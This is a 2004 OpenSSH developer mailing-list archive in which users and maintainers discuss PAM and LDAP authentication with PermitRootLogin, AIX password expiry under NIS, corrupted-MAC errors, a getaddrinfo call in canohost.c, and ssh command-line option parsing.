From: guyverdh at mchsi.com (guyverdh at mchsi.com)
Date: Thu, 29 Apr 2004 14:57:25 +0000
Subject: SCP misses copying a file on error (possible bug?)
Message-ID: <042920041457.15408.7501@mchsi.com>

It would help if you could show the entire ls -l results after the copy.  This 
would show us the userid used on the destination system, as well as date / time 
stamps on files.

Also, a checksum to show that the file in question is different on both boxes, 
so that we can be certain that it did not get copied, since both files appear 
to have the same size and date/time shown.

Thanks,

Larry



From ltclau2000 at yahoo.com.hk  Fri Apr 30 01:42:32 2004
From: ltclau2000 at yahoo.com.hk (=?big5?q?lambert=20lau?=)
Date: Thu, 29 Apr 2004 23:42:32 +0800 (CST)
Subject: OpenSSH authentication on AIX box that using NIS
Message-ID: <20040429154232.62901.qmail@web50406.mail.yahoo.com>

Hi,

I get problem of OpenSSH v3.7.1p2 authentication only
on AIX that using NIS.  Following is the debug message
even before I enter my password:
  
Apr 22 11:18:54 db309a sshd[413700]: Connection from
172.16.59.210 port 44654
Apr 22 11:18:54 db309a sshd[413700]: User spowell
password expired too long
Apr 22 11:18:54 db309a sshd[413700]: Failed none for
illegal user spowell from 172.16.59.210 port 44654
ssh2 

The password expiry problem on AIX appears to be
related to sshd's method of checking password expiry
and other such details on AIX.

At the moment it appears to be just blindly checking
/etc/security/passwd for the user (regardless of
whether they're NIS or Local users) and will quitely
fail if the user is not there.

I validated this was the case by adding a nis user's
details with a recent 'lastupdate' value for the
password and verified that the user was able to login
successfully.

Is there anyone can advise a workaround on this?

Thanks


_________________________________________________________
??????????...
????  ????
http://us.rd.yahoo.com/evt=22281/*http://ringtone.yahoo.com.hk/



From vdanen at linsec.ca  Fri Apr 30 04:23:10 2004
From: vdanen at linsec.ca (Vincent Danen)
Date: Thu, 29 Apr 2004 12:23:10 -0600
Subject: openssh and pam_ldap
Message-ID: <454369D8-9A0A-11D8-8413-000A9598BFB2@linsec.ca>

An observation and a question on the new version of OpenSSH.  With 
previous version of OpenSSH, using something like pam_ldap to 
authenticate users against an LDAP directory worked great, however with 
3.8p1 this is no longer the case.  If I try to log into a machine with 
an account under "LDAP's control", I always get password failures.  
However, using an account with a ssh key associated with it works fine, 
even if the user is a LDAP user.  It seems to me like there is a 
miscommunication with PAM here.

Of course, one can turn on UsePAM, but the warnings in sshd_config make 
me nervous.  Also, running a few tests, it's a little too insecure for 
my liking.  For instance:

- PermitRootLogin without-password is rendered obsolete when UsePAM is 
set to yes; a user connecting without a matching ssh key gets a 
password prompt and if they provide the right password, they get access

- PasswordAuthentication no is also rendered obsolete when UsePAM is 
enabled with the same consequences as above, although realistically 
this isn't that big of a deal (if you have password auth set to no, you 
don't need UsePAM on when you can connect to an LDAP-auth'd account 
using an ssh key without UsePAM's help)

My major concern here is with the PermitRootLogin.  I can very much see 
situations where the server is using LDAP for auth and direct root 
logins are only desirable for things like backups and whatnot, or for 
admins who shouldn't be trusted with the root password but instead have 
a key.  Sure, if they don't have the password, and don't have the key, 
they still can't get in, but if they do have the password, but don't 
have a key, before they couldn't get access.  Now they can.

Is there some way that, if PermitRootLogin is set in some way to a 
non-password auth method, that regardless of the setting of UsePAM, 
password authentication is not attempted?  For instance, if it's set to 
without-password, why is it even giving the user the chance to enter a 
password?  At least if it's set to "no", they're offered the password 
prompt but even with the right password can't get in (sshd logs "PAM:  
Authentication Failure).  Can the same not be done with the 
"without-password" option?

Thanks.

-- 
OpenSLS - Secure Linux Server: http://opensls.org/
"lynx -source http://linsec.ca/vdanen.asc | gpg --import"
{FE6F2AFD : 88D8 0D23 8D4B 3407 5BD7  66F9 2043 D0E5 FE6F 2AFD}
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040429/73b84c67/attachment.bin 

From dmeranda at iac.net  Fri Apr 30 04:39:46 2004
From: dmeranda at iac.net (Deron Meranda)
Date: Thu, 29 Apr 2004 14:39:46 -0400 (EDT)
Subject: Corrupted MAC on input
In-Reply-To: <no.id> from "Darren Tucker" at Apr 30, 2004 12:40:07 AM
Message-ID: <200404291839.i3TIdkHK003753@iac.net>

I was regularly seeing something similar back in July 2002.  Here's the
thread I started then,

http://www.mindrot.org/pipermail/openssh-unix-dev/2002-July/014899.html

I never did get a reasonable answer.  I would see this with the server
running under HP-UX 11.0 with OpenSSH 3.4p1.  I have even seen it a
few times since, up to 3.7.1, although it's not nearly as often.  I
had always suspected it had something to so with HP, since I could
ssh into other linux boxes all day long without errors.

When I did see it, it didn't seem very random.  Doing certain things
like starting a tunneled X client would immediately cause it to occur.
Other times, the corrupted MAC would occur as soon as the session
would start, even before I could get a shell prompt.

At one point I started performing my own tests with lower and lower
levels of debuging, almost to the point of capturing all the raw
packet buffers just prior to encryption.  I even inserted extra debug
code so I could check every single step of the MAC computation and
verification.  I just could not explain what I saw, but it looked like
a single byte was always getting changed.  It was not a random pattern
at all.  If I recall correctly, I had ruled out the MAC computation
itself.  Also strangely the encrypted packets were identical.  But
somehow after decryption the plaintext buffers were different.  I hope
I'm recalling this correctly, but I think I am.

Unfortunately it's so rare now (with the newer versions), that it
would be very hard for me to redo those tests again.


I can tell you the most frustrating part is that the entire SSH
session is shut down on the first mismatched MAC.  I always wished the
protocol had a minimal amount of retry logic.

Deron Meranda



From jason at devrandom.org  Fri Apr 30 05:18:18 2004
From: jason at devrandom.org (Jason McCormick)
Date: Thu, 29 Apr 2004 15:18:18 -0400
Subject: openssh and pam_ldap
In-Reply-To: <454369D8-9A0A-11D8-8413-000A9598BFB2@linsec.ca>
References: <454369D8-9A0A-11D8-8413-000A9598BFB2@linsec.ca>
Message-ID: <200404291518.18382.jason@devrandom.org>

> Of course, one can turn on UsePAM, but the warnings in sshd_config
> make me nervous.  Also, running a few tests, it's a little too
> insecure for my liking. 

  If you're going to use pam_ldap you're going to have to set UsePAM = 
yes.  Else ssh isn't going to contact your PAM stack to do anything.  
UsePAM used to default to 'yes' until 3.8p1.  If you have UsePAM = no, 
then SSH will only try to use shadow passwords.

-- Jason



From vdanen at linsec.ca  Fri Apr 30 06:01:54 2004
From: vdanen at linsec.ca (Vincent Danen)
Date: Thu, 29 Apr 2004 14:01:54 -0600
Subject: openssh and pam_ldap
In-Reply-To: <200404291518.18382.jason@devrandom.org>
References: <454369D8-9A0A-11D8-8413-000A9598BFB2@linsec.ca>
	<200404291518.18382.jason@devrandom.org>
Message-ID: <100BE80E-9A18-11D8-8413-000A9598BFB2@linsec.ca>


On Apr 29, 2004, at 1:18 PM, Jason McCormick wrote:

>> Of course, one can turn on UsePAM, but the warnings in sshd_config
>> make me nervous.  Also, running a few tests, it's a little too
>> insecure for my liking.
>
>   If you're going to use pam_ldap you're going to have to set UsePAM =
> yes.  Else ssh isn't going to contact your PAM stack to do anything.
> UsePAM used to default to 'yes' until 3.8p1.  If you have UsePAM = no,
> then SSH will only try to use shadow passwords.

I understand that, but this is my point.

In 3.6, if root logins were set to "without-password", if you didn't 
have a key, you weren't prompted for a password.  Now you are.  And if 
you have the password, you're let in.  That obviously breaks the 
"without-password" setting.

I'm well aware of how it works... my point is, it *doesn't* work, or at 
least not as well as it used to.  If PermitRootLogin is set to 
"without-password" then PAM shouldn't even be consulted, regardless of 
the setting of UsePAM.  Older versions worked correctly in this manner.

-- 
Mandrakesoft Security; http://www.mandrakesecure.net/
Online Security Resource Book; http://linsec.ca/
"lynx -source http://linsec.ca/vdanen.asc | gpg --import"
{FE6F2AFD : 88D8 0D23 8D4B 3407 5BD7  66F9 2043 D0E5 FE6F 2AFD}
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040429/901918d7/attachment.bin 

From mouring at etoh.eviladmin.org  Fri Apr 30 07:04:25 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 29 Apr 2004 16:04:25 -0500 (CDT)
Subject: openssh and pam_ldap
In-Reply-To: <100BE80E-9A18-11D8-8413-000A9598BFB2@linsec.ca>
Message-ID: <Pine.BSO.4.44.0404291601500.953-100000@etoh.eviladmin.org>



On Thu, 29 Apr 2004, Vincent Danen wrote:

>
> On Apr 29, 2004, at 1:18 PM, Jason McCormick wrote:
>
> >> Of course, one can turn on UsePAM, but the warnings in sshd_config
> >> make me nervous.  Also, running a few tests, it's a little too
> >> insecure for my liking.
> >
> >   If you're going to use pam_ldap you're going to have to set UsePAM =
> > yes.  Else ssh isn't going to contact your PAM stack to do anything.
> > UsePAM used to default to 'yes' until 3.8p1.  If you have UsePAM = no,
> > then SSH will only try to use shadow passwords.
>
> I understand that, but this is my point.
>
> In 3.6, if root logins were set to "without-password", if you didn't
> have a key, you weren't prompted for a password.  Now you are.  And if
> you have the password, you're let in.  That obviously breaks the
> "without-password" setting.
>

I suspect the change to the new PAM handling around 3.7 changed it.

> I'm well aware of how it works... my point is, it *doesn't* work, or at
> least not as well as it used to.  If PermitRootLogin is set to
> "without-password" then PAM shouldn't even be consulted, regardless of
> the setting of UsePAM.  Older versions worked correctly in this manner.
>

Sadly if it was only that simple.  The problem is PAM may support other
methods of authenifying and "Without-password" would break those as
well.

I believe there is already a PAM module to do such a thing.  Which for the
time being should be your solution.   This has been revisited a few times
lately.  I would check the archives for the full thread.

- Ben



From vdanen at linsec.ca  Fri Apr 30 07:35:25 2004
From: vdanen at linsec.ca (Vincent Danen)
Date: Thu, 29 Apr 2004 15:35:25 -0600
Subject: openssh and pam_ldap
In-Reply-To: <Pine.BSO.4.44.0404291601500.953-100000@etoh.eviladmin.org>
References: <Pine.BSO.4.44.0404291601500.953-100000@etoh.eviladmin.org>
Message-ID: <203A8C4C-9A25-11D8-8413-000A9598BFB2@linsec.ca>


On Apr 29, 2004, at 3:04 PM, Ben Lindstrom wrote:

>>>> Of course, one can turn on UsePAM, but the warnings in sshd_config
>>>> make me nervous.  Also, running a few tests, it's a little too
>>>> insecure for my liking.
>>>
>>>   If you're going to use pam_ldap you're going to have to set UsePAM 
>>> =
>>> yes.  Else ssh isn't going to contact your PAM stack to do anything.
>>> UsePAM used to default to 'yes' until 3.8p1.  If you have UsePAM = 
>>> no,
>>> then SSH will only try to use shadow passwords.
>>
>> I understand that, but this is my point.
>>
>> In 3.6, if root logins were set to "without-password", if you didn't
>> have a key, you weren't prompted for a password.  Now you are.  And if
>> you have the password, you're let in.  That obviously breaks the
>> "without-password" setting.
>>
>
> I suspect the change to the new PAM handling around 3.7 changed it.

That would sound right... the last version I used in production was 
3.6.1.

>> I'm well aware of how it works... my point is, it *doesn't* work, or 
>> at
>> least not as well as it used to.  If PermitRootLogin is set to
>> "without-password" then PAM shouldn't even be consulted, regardless of
>> the setting of UsePAM.  Older versions worked correctly in this 
>> manner.
>>
>
> Sadly if it was only that simple.  The problem is PAM may support other
> methods of authenifying and "Without-password" would break those as
> well.
>
> I believe there is already a PAM module to do such a thing.  Which for 
> the
> time being should be your solution.   This has been revisited a few 
> times
> lately.  I would check the archives for the full thread.

My bad... I should have checked the archives a little closer before as 
I missed this little gem:

http://marc.theaimsgroup.com/?l=openssh-unix-dev&m=106916818016421&w=2

Using the pam_listfile.so module works 100%.  The password prompt comes 
up instead of doing a drop (like it would have in the past), but I can 
live with that.

-- 
Mandrakesoft Security; http://www.mandrakesecure.net/
Online Security Resource Book; http://linsec.ca/
"lynx -source http://linsec.ca/vdanen.asc | gpg --import"
{FE6F2AFD : 88D8 0D23 8D4B 3407 5BD7  66F9 2043 D0E5 FE6F 2AFD}
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040429/4cec51fa/attachment.bin 

From djm at mindrot.org  Fri Apr 30 10:12:09 2004
From: djm at mindrot.org (Damien Miller)
Date: Fri, 30 Apr 2004 10:12:09 +1000
Subject: openssh and pam_ldap
In-Reply-To: <100BE80E-9A18-11D8-8413-000A9598BFB2@linsec.ca>
References: <454369D8-9A0A-11D8-8413-000A9598BFB2@linsec.ca>	<200404291518.18382.jason@devrandom.org>
	<100BE80E-9A18-11D8-8413-000A9598BFB2@linsec.ca>
Message-ID: <409199D9.6040504@mindrot.org>

Vincent Danen wrote:
> On Apr 29, 2004, at 1:18 PM, Jason McCormick wrote:
> 
> 
>>>Of course, one can turn on UsePAM, but the warnings in sshd_config
>>>make me nervous.  Also, running a few tests, it's a little too
>>>insecure for my liking.
>>
>>  If you're going to use pam_ldap you're going to have to set UsePAM =
>>yes.  Else ssh isn't going to contact your PAM stack to do anything.
>>UsePAM used to default to 'yes' until 3.8p1.  If you have UsePAM = no,
>>then SSH will only try to use shadow passwords.
> 
> 
> I understand that, but this is my point.
> 
> In 3.6, if root logins were set to "without-password", if you didn't 
> have a key, you weren't prompted for a password.  Now you are.  And if 
> you have the password, you're let in.  That obviously breaks the 
> "without-password" setting.

You can use pam_rootok or pam_list modules in an "auth" line of your
PAM config to deny access to root when logging in with PAM
authentication.

We accept that "PermitRootLogin without-password" is somewhat confusing
when used with PAM. We intend to clarify this before the next release,
perhaps by making PermitRootLogin accept a list of allowed
authentication mechanisms.

-d



From vdanen at linsec.ca  Fri Apr 30 10:17:48 2004
From: vdanen at linsec.ca (Vincent Danen)
Date: Thu, 29 Apr 2004 18:17:48 -0600
Subject: openssh and pam_ldap
In-Reply-To: <409199D9.6040504@mindrot.org>
References: <454369D8-9A0A-11D8-8413-000A9598BFB2@linsec.ca>	<200404291518.18382.jason@devrandom.org>
	<100BE80E-9A18-11D8-8413-000A9598BFB2@linsec.ca>
	<409199D9.6040504@mindrot.org>
Message-ID: <CF9B6EA6-9A3B-11D8-8413-000A9598BFB2@linsec.ca>


On Apr 29, 2004, at 6:12 PM, Damien Miller wrote:

>>>> Of course, one can turn on UsePAM, but the warnings in sshd_config
>>>> make me nervous.  Also, running a few tests, it's a little too
>>>> insecure for my liking.
>>>
>>>  If you're going to use pam_ldap you're going to have to set UsePAM =
>>> yes.  Else ssh isn't going to contact your PAM stack to do anything.
>>> UsePAM used to default to 'yes' until 3.8p1.  If you have UsePAM = 
>>> no,
>>> then SSH will only try to use shadow passwords.
>>
>>
>> I understand that, but this is my point.
>>
>> In 3.6, if root logins were set to "without-password", if you didn't
>> have a key, you weren't prompted for a password.  Now you are.  And if
>> you have the password, you're let in.  That obviously breaks the
>> "without-password" setting.
>
> You can use pam_rootok or pam_list modules in an "auth" line of your
> PAM config to deny access to root when logging in with PAM
> authentication.

Yeah, I'm using pam_listfile.so and it works just as well.

> We accept that "PermitRootLogin without-password" is somewhat confusing
> when used with PAM. We intend to clarify this before the next release,
> perhaps by making PermitRootLogin accept a list of allowed
> authentication mechanisms.

Sounds good.  The without-password+UsePAM=yes+pam_listfile.so 
combination works pretty good tho, so no complaints from me.

Keep up the good work.  =)

-- 
Mandrakesoft Security; http://www.mandrakesecure.net/
Online Security Resource Book; http://linsec.ca/
"lynx -source http://linsec.ca/vdanen.asc | gpg --import"
{FE6F2AFD : 88D8 0D23 8D4B 3407 5BD7  66F9 2043 D0E5 FE6F 2AFD}
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040429/e2d8a9a6/attachment.bin 

From jdvf at optonline.net  Fri Apr 30 10:46:57 2004
From: jdvf at optonline.net (John Devitofranceschi)
Date: Thu, 29 Apr 2004 20:46:57 -0400
Subject: Code question (canohost.c)
In-Reply-To: <001001c42cd1$89b69d90$6301a8c0@rover>
Message-ID: <002101c42e4c$a6eb57d0$6301a8c0@rover>


So, I looked at some older versions of the code and found that, indeed, a
NULL was sent as the second parameter in previous releases.

So, why the change? What does "0" buy you (besides a useless and costly call
to getservbyname()) that NULL does not?

jd


-----Original Message-----
From: openssh-unix-dev-bounces+jdvf=optonline.net at mindrot.org
[mailto:openssh-unix-dev-bounces+jdvf=optonline.net at mindrot.org] On Behalf
Of John Devitofranceschi
Sent: Tuesday, April 27, 2004 11:33 PM
To: openssh-unix-dev at mindrot.org
Subject: Code question (canohost.c)



In the latest release at around line 80 of canohost.c there is a call to
getaddrinfo (found in openbsd-compat/fake-rfc2553.c) where the second
parameter (it's supposed to be a service name, I suppose) is "0".  Why is
that? Shouldn't it be NULL?

I ask this because the resulting (seemingly useless and ultimately futile)
getservbyname("0", NULL) call is slowing down the time to login considerably
on my Openstep systems. Or does a call like this have a special meaning?

Thanks,
jd


_______________________________________________
openssh-unix-dev mailing list
openssh-unix-dev at mindrot.org
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev




From mouring at etoh.eviladmin.org  Fri Apr 30 11:45:10 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 29 Apr 2004 20:45:10 -0500 (CDT)
Subject: Code question (canohost.c)
In-Reply-To: <002101c42e4c$a6eb57d0$6301a8c0@rover>
Message-ID: <Pine.BSO.4.44.0404292032280.953-100000@etoh.eviladmin.org>




On Thu, 29 Apr 2004, John Devitofranceschi wrote:

>
> So, I looked at some older versions of the code and found that, indeed, a
> NULL was sent as the second parameter in previous releases.
>

The code never existed before this patch was added.

http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/canohost.c.diff?r1=1.36&r2=1.37

> So, why the change? What does "0" buy you (besides a useless and costly call
> to getservbyname()) that NULL does not?
>
+	/*
+	 * if reverse lookup result looks like a numeric hostname,
+	 * someone is trying to trick us by PTR record like following:
+	 *	1.1.1.10.in-addr.arpa.	IN PTR	2.3.4.5
+	 */

Does that not answer your question?

- Ben




From djm at mindrot.org  Fri Apr 30 11:53:40 2004
From: djm at mindrot.org (Damien Miller)
Date: Fri, 30 Apr 2004 11:53:40 +1000
Subject: Code question (canohost.c)
In-Reply-To: <Pine.BSO.4.44.0404292032280.953-100000@etoh.eviladmin.org>
References: <Pine.BSO.4.44.0404292032280.953-100000@etoh.eviladmin.org>
Message-ID: <4091B1A4.1020909@mindrot.org>

Ben Lindstrom wrote:

> 
> 
> On Thu, 29 Apr 2004, John Devitofranceschi wrote:
> 
> 
>>So, I looked at some older versions of the code and found that, indeed, a
>>NULL was sent as the second parameter in previous releases.
>>
> The code never existed before this patch was added.
> 
> http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/canohost.c.diff?r1=1.36&r2=1.37

I think the use of "0" instead of NULL is wrong, but I'm not sure. I'll
take a look over the weekend.

Then again, getservbyname("0") taking time is wrong too :)

-d



From mouring at etoh.eviladmin.org  Fri Apr 30 12:00:26 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 29 Apr 2004 21:00:26 -0500 (CDT)
Subject: Code question (canohost.c)
In-Reply-To: <4091B1A4.1020909@mindrot.org>
Message-ID: <Pine.BSO.4.44.0404292059520.953-100000@etoh.eviladmin.org>



On Fri, 30 Apr 2004, Damien Miller wrote:

> Ben Lindstrom wrote:
>
> >
> >
> > On Thu, 29 Apr 2004, John Devitofranceschi wrote:
> >
> >
> >>So, I looked at some older versions of the code and found that, indeed, a
> >>NULL was sent as the second parameter in previous releases.
> >>
> > The code never existed before this patch was added.
> >
> > http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/canohost.c.diff?r1=1.36&r2=1.37
>
> I think the use of "0" instead of NULL is wrong, but I'm not sure. I'll
> take a look over the weekend.
>
> Then again, getservbyname("0") taking time is wrong too :)
>

Be that true.. then one should review the usage of it in sshconnect.c
which is the other place we do it.

- Ben



From dtucker at zip.com.au  Fri Apr 30 12:17:08 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 30 Apr 2004 12:17:08 +1000
Subject: OpenSSH authentication on AIX box that using NIS
In-Reply-To: <20040429154232.62901.qmail@web50406.mail.yahoo.com>
References: <20040429154232.62901.qmail@web50406.mail.yahoo.com>
Message-ID: <4091B724.9060906@zip.com.au>

lambert lau wrote:
> I get problem of OpenSSH v3.7.1p2 authentication only
> on AIX that using NIS.  Following is the debug message
> even before I enter my password:
>   
> Apr 22 11:18:54 db309a sshd[413700]: Connection from
> 172.16.59.210 port 44654
> Apr 22 11:18:54 db309a sshd[413700]: User spowell
> password expired too long

Vanilla OpenSSH does not produce that message, but my password expiry
patch does.  You should always mention any patches you're using in
addition to the base code.

[...]
> Is there anyone can advise a workaround on this?

Use OpenSSH 3.8.1p1.  It has expiry support and it does not have (or
need) the "expired too long" check.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From mouring at etoh.eviladmin.org  Fri Apr 30 12:24:36 2004
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 29 Apr 2004 21:24:36 -0500 (CDT)
Subject: Code question (canohost.c)
In-Reply-To: <20040430.111438.17715034.yoshfuji@linux-ipv6.org>
Message-ID: <Pine.BSO.4.44.0404292120270.953-100000@etoh.eviladmin.org>



On Fri, 30 Apr 2004, YOSHIFUJI Hideaki / [iso-2022-jp] 吉藤英明 wrote:

> In article <Pine.BSO.4.44.0404292059520.953-100000 at etoh.eviladmin.org> (at Thu, 29 Apr 2004 21:00:26 -0500 (CDT)), Ben Lindstrom <mouring at etoh.eviladmin.org> says:
>
> > Be that true.. then one should review the usage of it in sshconnect.c
> > which is the other place we do it.
>
> This (in sshconnect.c) should leave as "0"
> since options.bind_address may be NULL.
> (Note: host and/or port must non-NULL.)
>

 Tell me how options.bind_address can reach getaddrinfo() as null. As I
see it there is no possible way it can happen.

[..]
      /* Bind the socket to an alternative local IP address */
        if (options.bind_address == NULL)
                return sock;

        memset(&hints, 0, sizeof(hints));
        hints.ai_family = ai->ai_family;
        hints.ai_socktype = ai->ai_socktype;
        hints.ai_protocol = ai->ai_protocol;
        hints.ai_flags = AI_PASSIVE;
        gaierr = getaddrinfo(options.bind_address, "0", &hints, &res);
[..]


- Ben



From jdvf at optonline.net  Fri Apr 30 12:46:49 2004
From: jdvf at optonline.net (John Devitofranceschi)
Date: Thu, 29 Apr 2004 22:46:49 -0400
Subject: Code question (canohost.c)
In-Reply-To: <4091B1A4.1020909@mindrot.org>
Message-ID: <002201c42e5d$658d93f0$6301a8c0@rover>


Oh, I agree that it should not take such a long time to twig that "0" is not
a service name, but Openstep can through a few NetInfo layers and through an
NIS services map before it gets to that point. :) 

jd

-----Original Message-----
From: openssh-unix-dev-bounces+jdvf=optonline.net at mindrot.org
[mailto:openssh-unix-dev-bounces+jdvf=optonline.net at mindrot.org] On Behalf
Of Damien Miller
Sent: Thursday, April 29, 2004 9:54 PM
To: Ben Lindstrom
Cc: openssh-unix-dev at mindrot.org; John Devitofranceschi
Subject: Re: Code question (canohost.c)


Ben Lindstrom wrote:

> 
> 
> On Thu, 29 Apr 2004, John Devitofranceschi wrote:
> 
> 
>>So, I looked at some older versions of the code and found that, 
>>indeed, a NULL was sent as the second parameter in previous releases.
>>
> The code never existed before this patch was added.
> 
> http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/canohost.c.diff?
> r1=1.36&r2=1.37

I think the use of "0" instead of NULL is wrong, but I'm not sure. I'll take
a look over the weekend.

Then again, getservbyname("0") taking time is wrong too :)

-d

_______________________________________________
openssh-unix-dev mailing list
openssh-unix-dev at mindrot.org
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev




From dtucker at zip.com.au  Fri Apr 30 15:39:11 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 30 Apr 2004 15:39:11 +1000
Subject: Corrupted MAC on input
In-Reply-To: <200404291839.i3TIdkHK003753@iac.net>
References: <200404291839.i3TIdkHK003753@iac.net>
Message-ID: <4091E67F.4070409@zip.com.au>

Deron Meranda wrote:

> At one point I started performing my own tests with lower and lower
> levels of debuging, almost to the point of capturing all the raw
> packet buffers just prior to encryption.  I even inserted extra debug
> code so I could check every single step of the MAC computation and
> verification.  I just could not explain what I saw, but it looked like
> a single byte was always getting changed.  It was not a random pattern
> at all.  If I recall correctly, I had ruled out the MAC computation
> itself.  Also strangely the encrypted packets were identical.  But
> somehow after decryption the plaintext buffers were different.  I hope
> I'm recalling this correctly, but I think I am.

If the encrypted packets are identical but decrypt differently that 
sounds like a problem in the crypto itself.  Which algorithm were you 
using?  Are you using the HP ANSI C compiler to compile OpenSSL?

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From johnpell at mac.com  Fri Apr 30 16:55:57 2004
From: johnpell at mac.com (John Davidorff Pell)
Date: Thu, 29 Apr 2004 23:55:57 -0700
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <20040428013935.GB26435@folly>
References: <20040428005905.GB30344@folly>
	<200404280121.i3S1LnMT044491@drugs.dv.isc.org>
	<20040428013935.GB26435@folly>
Message-ID: <6EB9C81B-9A73-11D8-8807-0003934F6406@mac.com>

Who?


On 27 Apr 2004, at 18:39, Markus Friedl wrote:

> too many people are using:
>
> 	$ ssh host -l user
>

--
"The New York Times is read by the people who run the country. The 
Washington Post is read by the people who think they run the country. 
The National Enquirer is read by the people who think Elvis is alive 
and running the country ..."
-- Robert J Woodhead
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2426 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040429/3095d4e7/attachment.bin 

From djm at mindrot.org  Fri Apr 30 17:17:48 2004
From: djm at mindrot.org (Damien Miller)
Date: Fri, 30 Apr 2004 17:17:48 +1000
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <6EB9C81B-9A73-11D8-8807-0003934F6406@mac.com>
References: <20040428005905.GB30344@folly>	<200404280121.i3S1LnMT044491@drugs.dv.isc.org>	<20040428013935.GB26435@folly>
	<6EB9C81B-9A73-11D8-8807-0003934F6406@mac.com>
Message-ID: <4091FD9C.9050700@mindrot.org>

John Davidorff Pell wrote:

> Who?

Obviously not you, though that doesn't shrink the pool of potential
candidates much.

Does anyone who is asking for the command line processing to be changed
actually have a need to execute "-l user" (or whatever) on a remote
system?

> On 27 Apr 2004, at 18:39, Markus Friedl wrote:
> 
>>too many people are using:
>>
>>	$ ssh host -l user

BTW, your sig was two orders of magnitude larger than the original
content in your message. That is always a bad sign.

> --
> "The New York Times is read by the people who run the country. The 
> Washington Post is read by the people who think they run the country. 
> The National Enquirer is read by the people who think Elvis is alive 
> and running the country ..."
> -- Robert J Woodhead



From dtucker at zip.com.au  Fri Apr 30 17:53:39 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Fri, 30 Apr 2004 17:53:39 +1000
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <6EB9C81B-9A73-11D8-8807-0003934F6406@mac.com>
References: <20040428005905.GB30344@folly>	<200404280121.i3S1LnMT044491@drugs.dv.isc.org>	<20040428013935.GB26435@folly>
	<6EB9C81B-9A73-11D8-8807-0003934F6406@mac.com>
Message-ID: <40920603.7090808@zip.com.au>

John Davidorff Pell wrote:

 > On 27 Apr 2004, at 18:39, Markus Friedl wrote:
 >> too many people are using:
 >>     $ ssh host -l user

> Who?

Me, for one.  When I'm testing stuff I often need to test multiple 
different options and I put the ones I'll need to change at the end. 
This saves time when I recall the command and edit it.  Yeah this is 
trivial, but so what?

I can agree with making it the usage and man page clearer on this 
subject, though.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From chris at obelix.hedonism.cx  Fri Apr 30 21:07:10 2004
From: chris at obelix.hedonism.cx (Christian Vogel)
Date: Fri, 30 Apr 2004 13:07:10 +0200
Subject: openssh continues to process dash arguements after hostname
In-Reply-To: <4091FD9C.9050700@mindrot.org>;
	from djm@mindrot.org on Fri, Apr 30, 2004 at 05:17:48PM +1000
References: <20040428005905.GB30344@folly>
	<200404280121.i3S1LnMT044491@drugs.dv.isc.org>
	<20040428013935.GB26435@folly>
	<6EB9C81B-9A73-11D8-8807-0003934F6406@mac.com>
	<4091FD9C.9050700@mindrot.org>
Message-ID: <20040430130710.A24523@obelix.frop.org>

Hi,

On Fri, Apr 30, 2004 at 05:17:48PM +1000, Damien Miller wrote:
> Does anyone who is asking for the command line processing to be changed
> actually have a need to execute "-l user" (or whatever) on a remote
> system?

at least Linux (Red Hat 7.0, glibc 2.2.4-18.7.0.8) getopt()
stops parsing options after it encounters the string "--", so you
could do "ssh host -- -l foo" to execute -l foo.

Nevertheless, on my system /bin/sh complains about "-l", so it might
be wiser to do "ssh host /bin/env -- -l foo", or to specify the path
to "-l" in the first place.

	Chris

-- 
The Tao that is seen
Is not the true Tao, until
You bring fresh toner.
-- Bill Torcaso



From yoshfuji at linux-ipv6.org  Fri Apr 30 12:32:51 2004
From: yoshfuji at linux-ipv6.org (YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?=)
Date: Fri, 30 Apr 2004 11:32:51 +0900 (JST)
Subject: Code question (canohost.c)
In-Reply-To: <Pine.BSO.4.44.0404292120270.953-100000@etoh.eviladmin.org>
References: <20040430.111438.17715034.yoshfuji@linux-ipv6.org>
